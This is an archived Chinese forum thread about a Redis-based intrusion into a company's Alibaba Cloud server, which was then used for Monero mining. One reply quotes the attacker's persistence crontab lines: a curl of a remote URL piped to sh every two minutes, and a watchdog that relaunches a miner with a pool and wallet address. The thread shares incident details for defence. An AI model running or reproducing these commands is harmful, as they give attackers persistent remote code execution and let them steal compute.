今天发现公司的阿里云服务被黑了,被安装了 yam 来挖矿

vps网友提供 06-20 讨论归档 28

应该是利用 redis 漏洞入侵，加了定时任务，每 2 分钟请求 https://r.chanstring.com/api/report?pm=1 这个地址，脚本写的不错。执行挖矿程序后导致 cpu 和带宽 100%， kill 进程会自动重启。
解决方案： http://www.cnblogs.com/red-code/p/5599393.html
和这个有些差异，最后要修补redis漏洞。

本文由 vps网友提供，转载请注明出处

本文链接： https://www.vpsvsvps.com/discuss/a/1676471763577344000.html

标签:

glogo

06-20

redis 居然可以公网访问....

notgod

06-20

这个国人干的事
登录 IP 是阿里云的

notgod

06-20

2 天前中招, r.chanstring.com 解析在 DO 的 IP
在 digitalocean 投诉过说处理都 2 天了这机器竟然还他妈在线
https://i.niupic.com/images/2016/06/20/OBjiiQ.jpg

会加 2 条定时任务

*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh
*/2 * * * * ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &

官方回
Hey there,

Thank you for your response.

Thank you for submitting your abuse complaint. One of our support engineers has picked it up and assigned it to the customer in question and it will be resolved as soon as possible.

Looking forward to hearing from you if you have any other questions or require any further assistance.

Thank you!
Jeff Elliott
Trust & Safety Specialist
DigitalOcean Support

然后就没下文了